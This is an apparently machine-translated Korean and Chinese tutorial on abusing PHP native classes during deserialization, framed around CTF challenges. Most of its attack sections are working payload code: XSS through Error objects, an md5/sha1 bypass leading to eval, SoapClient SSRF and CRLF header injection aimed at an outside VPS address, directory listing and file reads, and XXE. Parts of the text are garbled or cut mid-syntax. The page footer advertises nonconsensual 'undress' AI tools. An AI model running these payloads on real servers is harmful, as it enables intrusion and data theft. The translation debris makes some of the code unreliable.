PHP 역직렬화 네이티브 클래스에 대한 심층적인 이해
이 기사에서는 역직렬화된 네이티브 클래스의 사용을 주로 소개하는 PHP에 대한 관련 지식을 제공합니다. 코드 감사 또는 ctf에 역직렬화 기능이 있지만 구성할 수 없는 경우 완전한 팝 체인이 생성되면 어떻게 해야 합니까? 모두에게 도움이 되기를 바랍니다.
추천 학습: "PHP 비디오 튜토리얼"
PHP 역직렬화 네이티브 클래스 사용에 대한 간략한 분석
코드 감사 또는 ctf에 역직렬화 기능 지점이 있지만 구성할 수 없는 경우 완전 팝 체인, 이때 어떻게 상황을 깨뜨려야 할까요? PHP 네이티브 클래스로 시작해 볼 수 있습니다. 일부 PHP 네이티브 클래스에는 몇 가지 내장된 매직 메서드가 있습니다. 제어 가능한 매개 변수를 영리하게 구성하고 내장된 매직 메서드를 사용하면 원하는 목표 중 일부를 달성할 수 있습니다. .
1. 일반적인 매직 메소드
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把对象当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发
2. 네이티브 클래스의 매직 메소드
다음 스크립트를 사용하여 모든 네이티브 클래스의 매직 메소드를 탐색합니다.
<?php $classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } }}
3.
Error/ExceptionError은 모든 PHP 내부 오류 클래스의 기본 클래스입니다. (PHP 7, 8)
**Error::__toString ** error의 문자열 표현Error의 문자열 표현을 반환합니다.Exception은 모든 사용자 수준 예외의 기본 클래스입니다. (PHP 5, 7, 8)
**Exception::__toString ** 예외 객체를 문자열로 변환 문자열(string) 형식으로 변환된 예외를 반환합니다. ㅋㅋㅋXSS
__toString 메소드는 우리가 입력한 매개변수가 포함된 문자열 형식으로 오류나 예외를 반환합니다. xss 코드 문자열을 구성하고 이를 에코 렌더링과 결합하면 반영된 xss 취약점이 트리거됩니다
예:<?php $a = unserialize($_GET['a']);echo $a;
<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);
먼저 질문을 살펴보겠습니다
<?phperror_reporting (0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}
분명히 정상 메소드는 작동하지 않지만 네이티브 클래스를 통해 우회할 수 있습니다마찬가지로 md5() 및 sha1() 함수가 객체를 처리할 때 __tostring 메소드가 자동으로 호출됩니다
간단히 살펴보겠습니다 출력에서 먼저
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3); $d=new Exception("payload",4); echo $a."<br>"; echo $b."<br>"; echo $c."<br>"; echo $d;
이 두 네이티브 클래스가 반환한 정보는 줄 번호를 제외하고 완전히 동일하다는 것을 알 수 있습니다. 이를 사용하면 해시 함수를 우회할 수 있습니다. 들어오는 두 개체는 같은 줄에 배치되어야 합니다
따라서 간단한 테스트를 수행할 수 있으며 이 방법을 사용하면 해시 강력한(약한) 함수 비교를 우회할 수 있음을 알 수 있습니다
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){ echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等";}이러한 지식 포인트에 따르면 다음을 수행할 수 있습니다. 페이로드를 쉽게 구성하세요
<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER();$c->syc = $a;$c->lover = $b; echo(urlencode(serialize($c)));?>SoapClient
SoapClient
는 웹 서비스에 액세스하는 데 사용되는 클래스로 SOAP 프로토콜을 기반으로 웹 서비스에 액세스하는 PHP 클라이언트를 제공할 수 있으며, SOAP 데이터 메시지를 생성하고 wsdl 인터페이스와 상호 작용할 수 있습니다. Soap 확장 모듈은 기본적으로 닫혀 있으며 사용 시 수동으로 켜야 합니다. SoapClient::__call— SOAP 함수 호출(PHP 5, 7, 8)
일반적으로 SOAP 함수는 다음과 같이 호출할 수 있습니다. SoapClient 개체
SSRF생성자:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。soap
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换 SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。 其采用HTTP作为底层通讯协议,XML作为数据传送的格式。us는 무엇입니까 익스플로잇 페이로드를 구성합니다. 첫 번째 매개변수는 NULL이고 두 번째 매개변수의 위치는 vps 주소
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>'111111')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();로 설정됩니다. vps의 2333 포트를 청취하면 아래 그림과 같이 SSRF가 성공적으로 트리거됩니다. vps는 요청 정보
를 수신하여 SOAPAction과 user_agent를 모두 제어할 수 있습니다
CRLF 취약점에 협력하면 다른 매개변수를 제어하거나 SoapClient를 통해 데이터를 보낼 수도 있습니다. 예: Redis를 공격하는 HTTP 프로토콜
CRLF 지식 확장HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。 CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。 攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。CRLF를 결합하면 SoapClient+CRLF를 사용하여 맞춤 쿠키 삽입,
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a")); $b = serialize($a);echo $b;$c = unserialize($b);$c->a();등 더 많은 작업을 수행할 수 있습니다.
发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata")); $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
看一道ctfshow上的题,完美利用上述知识点
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); //获取xff头 if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
poc:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo urlencode($a); ?>
DirectoryIterator/FilesystemIterator
DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。
DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)
目录遍历
使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历
例如:
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名
因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny
来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中
SplFileObject
SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件读取
SplFileObject::__toString — 以字符串形式返回文件的路径
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){ echo($a); }*/
如果没有遍历的话只能读取第一行,且受到open_basedir
影响
SimpleXMLElement
解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)
SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象
XXE
我们查看一下其参数:
根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。
利用可参考赛题:[SUCTF 2018]Homework
ReflectionMethod
获取注释内容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容
同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述
推荐学习:《PHP视频教程》
위 내용은 PHP 역직렬화 네이티브 클래스에 대한 심층적인 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undress AI Tool
무료로 이미지를 벗다

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











PHP 설정의 핵심은 설치 방법을 명확히하고 php.ini를 구성하고 웹 서버에 연결하고 필요한 확장을 활성화하는 것입니다. 1. PHP 설치 : Linux 용 APT, Mac 용 Homebrew 및 Windows에 권장되는 XAMPP 사용; 2. php.ini 구성 : 오류 보고서, 업로드 제한 등을 조정하고 서버를 다시 시작합니다. 3. 웹 서버 사용 : Apache는 mod_php를 사용하고 nginx는 php-fpm을 사용합니다. 4. 전체 기능을 지원하기 위해 일반적으로 사용되는 확장 : MySQLI, JSON, MBString 등과 같은 설치.

PHP 주석 코드에는 세 가지 일반적인 방법이 있습니다. 1. // 또는 #을 사용하여 한 줄의 코드를 차단하며 // 사용하는 것이 좋습니다. 2. 사용 /.../ 여러 줄로 코드 블록을 랩핑하려면 중첩 할 수는 없지만 교차 할 수 있습니다. 3. 복합 기술 사용 / if () {} /와 같은 논리 블록을 제어하거나 편집기 바로 가기 키를 사용한 효율성을 향상시키기 위해서는 기호를 닫는 데주의를 기울이고 사용할 때 중첩을 피해야합니다.

PHP 의견을 작성하는 열쇠는 목적과 사양을 명확히하는 것입니다. 의견은 중복성이나 너무 단순성을 피하고 "수행 된 것"보다는 "왜"를 설명해야합니다. 1. 클래스 및 메소드 설명에 DocBlock (/*/)과 같은 통합 형식을 사용하여 가독성 및 도구 호환성을 향상시킵니다. 2. JS 점프가 수동으로 출력 해야하는 이유와 같은 논리의 이유를 강조합니다. 3. 복잡한 코드 전에 개요 설명을 추가하고 프로세스를 단계적으로 설명하고 전체 아이디어를 이해하는 데 도움이됩니다. 4. Todo 및 Fixme를 합리적으로 사용하여 할 일 항목과 문제를 표시하여 후속 추적 및 협업을 용이하게합니다. 주석이 양호하면 통신 비용을 줄이고 코드 유지 보수 효율성을 향상시킬 수 있습니다.

좋은 의견을 작성하는 열쇠는 코드의 가독성을 향상시키기 위해 "수행 된 일"이 아니라 "왜"를 설명하는 것입니다. 1. 의견은 가치 선택 또는 처리의 고려 사항과 같은 논리적 이유를 설명해야합니다. 2. 복잡한 논리를 위해 단락 주석을 사용하여 함수 또는 알고리즘의 전반적인 아이디어를 요약합니다. 3. 정기적으로 의견을 유지하여 코드와 일관성을 유지하고, 오도하지 않으며, 필요한 경우 구식 콘텐츠를 삭제합니다. 4. 코드를 검토 할 때 주석을 동기로 확인하고 코드 주석의 부담을 줄이기 위해 문서를 통해 공개 논리를 기록하십시오.

기존 인터페이스와의 호환성 또는 타사 제한과 같은 함수보다는 코드가 존재하는 이유를 설명하기를 원하기 때문에 주석은 부주의 할 수 없습니다. 그렇지 않으면 코드를 읽는 사람들은 추측에만 의존 할 수 있습니다. 댓글을 달아야하는 영역에는 복잡한 조건부 판단, 특수 오류 처리 로직 및 임시 우회 제한이 포함됩니다. 댓글을 작성하는보다 실용적인 방법은 장면을 기반으로 한 줄 댓글을 선택하거나 댓글을 차단하는 것입니다. 문서 블록 주석을 사용하여 함수, 클래스 및 파일의 시작 부분에서 매개 변수 및 반환 값을 설명하고 주석을 업데이트하십시오. 복잡한 논리의 경우 이전의 라인을 추가하여 전체 의도를 요약 할 수 있습니다. 동시에 코드를 밀봉하기 위해 주석을 사용하지 말고 버전 제어 도구를 사용하십시오.

toinstallphpquickly, usexampponwindowsorhomebrewonmacos.1. 온수, downloadandinstallxAmpp, selectComponents, startApache 및 placefilesinhtdocs.2

tolearnpheffectical, startBysetTupaloCalserErverEnmentUsingToolslikexamppandacodeeditor -likevscode.1) installxamppforapache, mysql, andphp.2) useacodeeditorforsyntaxsupport.3)) 3) testimplephpfile.next, withpluclucincludechlucincluclucludechluclucled

phpblockommentsearseforwritingmulti-lleexplanations, temporlyblingcode, and generatingdocumentation.theyshouldnotbenesteTeRleftUnclosed.blockmentShelPindOcumentingFunctionSwitHphPDoc, whatlsoompsTormuseforauto-CompletionAnderRorChe
